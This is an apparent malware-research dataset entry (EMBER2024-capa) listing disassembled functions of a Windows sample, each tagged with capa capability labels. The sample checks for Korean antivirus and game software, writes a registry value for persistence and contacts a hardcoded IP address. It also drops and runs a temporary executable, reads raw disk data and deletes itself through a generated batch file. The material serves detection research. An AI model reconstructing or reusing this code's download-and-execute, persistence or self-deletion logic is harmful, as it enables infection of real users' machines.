joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, eax
call fcn.00402a70
push 0x200
lea eax, [esi + 4]
push 0
push eax
call fcn.0040c120
push 0x200
lea ecx, [esi + 0x204]
push 0
push ecx
call fcn.0040c120
push 0x80
lea edx, [esi + 0x408]
push 0
push edx
call fcn.0040c120
push 0x80
lea eax, [esi + 0x488]
push 0
push eax
call fcn.0040c120
push 0x80
lea ecx, [esi + 0x50a]
push 0
push ecx
call fcn.0040c120
xor eax, eax
mov dword [esi + 0x58c], eax
mov dword [esi + 0x590], eax
mov dword [esi + 0x594], eax
mov dword [esi + 0x598], eax
mov dword [esi + 0x59c], eax
mov dword [esi + 0x5a0], eax
mov dword [esi + 0x5a4], eax
mov dword [esi + 0x5a8], eax
mov dword [esi + 0x9bc], eax
mov dword [esi + 0x9c0], eax
mov dword [esi + 0x9c4], eax
mov dword [esi + 0x9c8], eax
add esp, 0x3c
mov dword [esi + 0x9cc], eax
lea edx, [esi + 0x5ac]
mov dword [esi + 0x9d0], eax
push edx
mov dword [esi + 0x9d4], eax
push 0x104
mov dword [esi + 0x9d8], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x104
lea eax, [esi + 0x7b4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, esi
pop esi
ret

Function at 0x401100
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push 0x206
xor ebx, ebx
lea ecx, [esp + 0x12]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x18], ax
call fcn.0040c120
add esp, 0xc
mov dword [esp + 4], ebx
cmp edi, ebx
je 0x401221
cmp esi, ebx
je 0x401221
mov eax, esi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401150
sub eax, edx
sar eax, 1
je 0x401221
cmp dword [esp + 0x220], ebx
je 0x401175
lea edx, [esp + 0xc]
push edx
jmp 0x4011af
mov eax, dword [esp + 0x21c]
cmp dword [eax], 3
jne 0x4011aa
push 0x104
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41f890
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.00409005
add esp, 0xc
jmp 0x4011ba
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.00409005
push 0x41f894
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00409148
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, ebx
je 0x401221
push eax
push 1
push 0x200
push edi
call fcn.0040943b
mov ecx, dword [esp + 0x14]
push ecx
call fcn.004094cf
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00408ff6
add esp, 0x214
ret 8
mov ecx, dword [esp + 0x214]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00408ff6
add esp, 0x214
ret 8
Function at 0x4012c0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x206
xor esi, esi
lea ecx, [esp + 0x12]
xor eax, eax
push esi
push ecx
mov word [esp + 0x18], ax
call fcn.0040c120
add esp, 0xc
cmp edi, esi
je 0x4013a8
mov eax, 0x41f8a0
mov dword [esp + 4], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x401305
sub eax, edx
sar eax, 1
je 0x40132f
push 0x41f8a4
lea edx, [esp + 8]
push 0x41f8a0
push edx
call fcn.00409148
add esp, 0xc
jmp 0x40136a
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41f8ac
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.00409005
push 0x41f8c8
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00409148
add esp, 0x18
mov eax, dword [esp + 4]
cmp eax, esi
je 0x40138d
push eax
push 1
push 0x200
push edi
call fcn.004096ad
mov ecx, dword [esp + 0x14]
push ecx
call fcn.004094cf
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00408ff6
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00408ff6
add esp, 0x214
ret

Function at 0x4013c0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.0040c120
mov edx, dword [esp + 0x21c]
add esp, 0xc
cmp dword [edx], 3
jne 0x401423
push 0x104
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41f89c
lea ecx, [esp + 4]
push 0x104
push ecx
call fcn.00409005
add esp, 0xc
jmp 0x401432
lea edx, [esp]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [esp + 4]
push eax
push str._s_s.exe
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.00408ff6
add esp, 0x20c
ret 4
Function at 0x401460
Capabilities:
Set registry value

Disassembly:
sub esp, 0x2d8
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x2d4], eax
xor eax, eax
push 0xc6
push eax
lea ecx, [esp + 0xe]
push ecx
mov dword [esp + 0xc], 0
mov word [esp + 0x10], ax
call fcn.0040c120
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0xe2]
push eax
mov word [esp + 0xe4], dx
call fcn.0040c120
push str.Software_
lea ecx, [esp + 0x20]
push 0x64
push ecx
call fcn.0040972f
push str.Microsoft_
lea edx, [esp + 0x2c]
push 0x64
push edx
call fcn.00409005
push str.Windows_NT_
lea eax, [esp + 0x38]
push 0x64
push eax
call fcn.00409005
push str.CurrentVersion_
lea ecx, [esp + 0x44]
push 0x64
push ecx
call fcn.00409005
add esp, 0x48
push str.Windows
lea edx, [esp + 8]
push 0x64
push edx
call fcn.00409005
push esi
lea eax, [esp + 0xdc]
push 0x104
push eax
call fcn.0040972f
add esp, 0x18
lea ecx, [esp]
push ecx
push 3
push 0
lea edx, [esp + 0x10]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401581
lea eax, [esp + 0xcc]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401544
sub eax, edx
mov edx, dword [esp]
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea ecx, [esp + 0xd0]
push ecx
push 1
push 0
push 0x41f958
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401581
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x2d4]
xor ecx, esp
xor eax, eax
call fcn.00408ff6
add esp, 0x2d8
ret
Function at 0x4021c0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
sub esp, 0xbe8
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0xbe4], eax
push esi
mov esi, dword [esp + 0xbf0]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x4240e8
push 0x67
push esi
call edi
push 0x64
push 0x424020
push 0x6d
push esi
call edi
mov eax, esi
call fcn.004023a0
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x4240e8
push 0x424020
push 0
mov dword [0x4241b0], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x402253
mov ecx, dword [esp + 0xbec]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00408ff6
add esp, 0xbe8
ret 0x10
push ebx
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, 0x423070
call fcn.00402a70
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
lea eax, [esp + 0xc]
call fcn.00401000
lea ebx, [esp + 0xc]
call fcn.004015a0
pop ebx
test eax, eax
je 0x402298
call fcn.004033b0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402770
test eax, eax
je 0x402238
mov eax, dword [0x424838]
test eax, eax
jbe 0x4022ce
cmp word [0x42483c], 0
jbe 0x4022ce
push eax
mov esi, str.218.54.31.226
call fcn.00403bf0
mov ax, word [0x42483c]
add esp, 4
mov word [0x42308c], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push str.tmp4_X.exe
mov edx, 0x424db0
call fcn.00402a50
call fcn.00403cd0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x9f6]
push eax
mov word [esp + 0x9f8], dx
call fcn.0040c120
lea esi, [esp + 0x9f8]
call fcn.00403c70
push 0x41f5bc
mov ecx, esi
push 0x104
push ecx
call fcn.00409005
push 0x424db0
mov edx, esi
push 0x104
push edx
call fcn.00409005
add esp, 0x2c
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40237b
push 0x1f4
call edi
push 1
push 0
push 0x41f5c0
mov ecx, esi
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call edi
test byte [0x424734], 7
je 0x402390
call fcn.00401ec0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402430
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.0040c120
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.0040c120
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push 0x41f60c
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4024d6
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x41f660
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x402501
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x41f6bc
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40252c
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x41f71c
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40255a
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x41f77c
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x402588
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4025b6
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.00408ff6
add esp, 0x414
ret
Function at 0x402770
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3e4
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x3e0], eax
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1e2]
push ecx
mov word [esp + 0x1e4], ax
call fcn.0040c120
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x4249b0
call fcn.00402b80
test eax, eax
jne 0x4028b9
push 0x3a
push eax
lea ecx, [esp + 0x1a6]
push ecx
mov word [esp + 0x1a8], ax
call fcn.0040c120
add esp, 0xc
lea edi, [esp + 0x19c]
call fcn.00403640
xor eax, eax
jmp 0x402800
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x424b58], cx
add eax, 2
test cx, cx
jne 0x402800
push 0x41f7f4
push 0x40
push 0x4249b4
call fcn.0040972f
add esp, 0xc
push 0x41f810
push 0x10
push 0x424a36
call fcn.0040972f
add esp, 0xc
push 0x41f81c
push 0x40
push 0x424a56
call fcn.0040972f
mov eax, 0x2b70
mov edx, 0x51
add esp, 0xc
mov word [0x424ad6], ax
mov word [0x424a34], dx
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x424b38], cx
add eax, 2
test cx, cx
jne 0x402870
mov eax, 0x424b38
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402890
mov ecx, dword [0x41f838]
mov dx, word [0x41f83c]
mov dword [eax], ecx
mov word [eax + 4], dx
mov dword [0x424b78], 5
call fcn.004036e0
lea edi, [esp + 0x1d8]
call fcn.00403640
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x1d8]
mov word [eax + 0x424970], cx
add eax, 2
test cx, cx
jne 0x4028d0
push 0x424970
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402919
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
mov ecx, dword [esp + 0x3e0]
xor ecx, esp
call fcn.00408ff6
mov esp, ebp
pop ebp
ret
push 0x424970
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x402904
push 0x41f840
call fcn.00403790
add esp, 4
mov edi, 0x424bb0
mov dword [0x424838], eax
call fcn.004025e0
mov eax, dword [0x424b7c]
push 0
push 0
push 0
push 0x403b30
push 0
push 0
mov dword [0x424bb8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x3e4]
pop edi
xor ecx, esp
mov eax, 1
call fcn.00408ff6
mov esp, ebp
pop ebp
ret
Function at 0x402a70
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x118
lea eax, [esp + 8]
push 0
push eax
mov dword [esi], 0
call fcn.0040c120
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402b6a
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x402b37
mov eax, dword [esp + 8]
test eax, eax
jne 0x402af3
cmp word [esp + 0x114], 4
jb 0x402b6a
mov dword [esi], 1
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00408ff6
add esp, 0x120
ret
cmp eax, 2
jne 0x402b15
mov dword [esi], eax
mov dword [esi], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00408ff6
add esp, 0x120
ret
jae 0x402b1c
cmp eax, 1
jne 0x402b6a
mov dword [esi], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00408ff6
add esp, 0x120
ret
cmp eax, 6
jne 0x402b6a
mov eax, dword [esp + 8]
test eax, eax
jne 0x402b5f
mov dword [esi], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00408ff6
add esp, 0x120
ret
cmp eax, 1
jne 0x402b6a
mov dword [esi], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00408ff6
add esp, 0x120
ret

Function at 0x402c30
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.0040c120
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x402cff
mov eax, str.golfinfo.ini
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x402c75
sub eax, edx
sar eax, 1
je 0x402cff
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00409005
push 0x41fae4
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00409148
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x402cff
push eax
push 1
push 0x200
push esi
call fcn.0040943b
mov eax, dword [esp + 0x14]
push eax
call fcn.004094cf
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00408ff6
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.00408ff6
add esp, 0x214
ret

Function at 0x402df0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.0040c120
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00403040
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00403150
cmp eax, 0xffffffff
jne 0x402e72
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00408ff6
add esp, 0x218
ret
push esi
call fcn.00402d20
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.00408ff6
add esp, 0x218
ret
Function at 0x402ea0
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x402fbe
push 0xc00
call fcn.0040a057
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xc00
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x402fb1
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x38]
test eax, eax
jl 0x402f19
jg 0x402f0d
test ecx, ecx
jbe 0x402f19
mov ebx, dword [esi + 0x40]
mov ebp, dword [esi + 0x44]
mov edx, ecx
mov edi, eax
jmp 0x402f1d
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xcc]
cmp eax, edi
mov ecx, dword [esi + 0xc8]
jl 0x402f47
jg 0x402f33
cmp ecx, edx
jbe 0x402f47
mov ebx, dword [esi + 0xd0]
mov ebp, dword [esi + 0xd4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x15c]
cmp eax, edi
mov ecx, dword [esi + 0x158]
jl 0x402f71
jg 0x402f5d
cmp ecx, edx
jbe 0x402f71
mov ebx, dword [esi + 0x160]
mov ebp, dword [esi + 0x164]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1ec]
cmp eax, edi
mov ecx, dword [esi + 0x1e8]
jl 0x402f9b
jg 0x402f87
cmp ecx, edx
jbe 0x402f9b
mov ebx, dword [esi + 0x1f0]
mov ebp, dword [esi + 0x1f4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.00416f70
mov dword [esp + 0x10], eax
test esi, esi
je 0x402fbe
push esi
call fcn.004097ff
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x402fe0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
cmp esi, 0xffffffff
je 0x403031
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x403290
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x41fae4
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.00409148
add esp, 0xc
test eax, eax
je 0x4032b4
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.0040a17a
mov eax, dword [esp + 0x1c]
push eax
call fcn.0040a39c
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov esi, eax
call fcn.0040a17a
lea ebp, [esi + 0x32]
push ebp
call fcn.0040a459
mov edx, dword [esp + 0x30]
push edx
push 1
mov edi, eax
push esi
push edi
call fcn.0040943b
mov eax, dword [esp + 0x40]
push eax
call fcn.004094cf
lea ebx, [edi + esi]
mov eax, 0x32
call fcn.00403360
mov ecx, dword [esp + 0x4c]
push 0x41fb48
push ecx
lea edx, [esp + 0x4c]
push edx
call fcn.00409148
add esp, 0x40
test eax, eax
je 0x403332
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push eax
push 1
push ebp
push edi
call fcn.004096ad
mov ecx, dword [esp + 0x20]
push ecx
call fcn.004094cf
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x4033b0
Capabilities:
Create process on windows
Get common file path
Self delete
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x320
mov eax, dword [0x42204c]
xor eax, esp
mov dword [esp + 0x31c], eax
mov eax, dword [str._sannuyex.bat]
mov ecx, dword [0x41fb54]
mov edx, dword [0x41fb58]
push 0x103
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov ax, word [0x41fb5c]
lea ecx, [esp + 0x15]
push 0
push ecx
mov dword [esp + 0x14], edx
mov word [esp + 0x18], ax
mov byte [esp + 0x1c], 0
call fcn.0040c120
push 0x103
lea edx, [esp + 0x125]
push 0
push edx
mov byte [esp + 0x12c], 0
call fcn.0040c120
push 0x103
lea eax, [esp + 0x235]
push 0
push eax
mov byte [esp + 0x23c], 0
call fcn.0040c120
add esp, 0x24
lea ecx, [esp + 0x114]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403455
push esi
push edi
lea edi, [esp + 0x11c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403468
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x104
lea edx, [esp + 0x1c]
mov ecx, eax
push edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x224]
push 0x104
push ecx
call fcn.0040a523
lea edx, [esp + 0x22c]
push 0x5c
push edx
call fcn.00409fc0
add esp, 0x14
test eax, eax
je 0x4034c2
mov byte [eax], 0
lea eax, [esp + 0x11c]
push 0x41fb60
push eax
call fcn.0040a64f
mov esi, eax
add esp, 8
test esi, esi
je 0x403624
push esi
push 1
push 9
push str.:Repeat_r_n
call fcn.004096ad
push esi
push 1
push 5
push str.del__
call fcn.004096ad
lea eax, [esp + 0x38]
add esp, 0x20
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403510
push esi
sub eax, edx
push 1
push eax
lea ecx, [esp + 0x24]
push ecx
call fcn.004096ad
push esi
push 1
push 2
push 0x41fb78
call fcn.004096ad
push esi
push 1
push 0xa
push str.if_exist__
call fcn.004096ad
lea eax, [esp + 0x48]
add esp, 0x30
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403550
push esi
sub eax, edx
push 1
push eax
lea edx, [esp + 0x24]
push edx
call fcn.004096ad
push esi
push 1
push 0xf
push str.__goto_Repeat_r_n
call fcn.004096ad
push esi
push 1
push 7
push str.rmdir__
call fcn.004096ad
lea eax, [esp + 0x250]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403592
push esi
sub eax, ecx
push 1
push eax
lea eax, [esp + 0x22c]
push eax
call fcn.004096ad
push esi
push 1
push 3
push 0x41fb78
call fcn.004096ad
push esi
push 1
push 5
push str.del__
call fcn.004096ad
lea eax, [esp + 0x14c]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4035d7
push esi
sub eax, ecx
push 1
push eax
lea ecx, [esp + 0x128]
push ecx
call fcn.004096ad
push esi
push 1
push 1
push 0x41fba0
call fcn.004096ad
push esi
call fcn.004094cf
add esp, 0x24
push 0
push 0
push 0
lea edx, [esp + 0x128]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x324]
pop edi
pop esi
xor ecx, esp
call fcn.00408ff6
add esp, 0x320
ret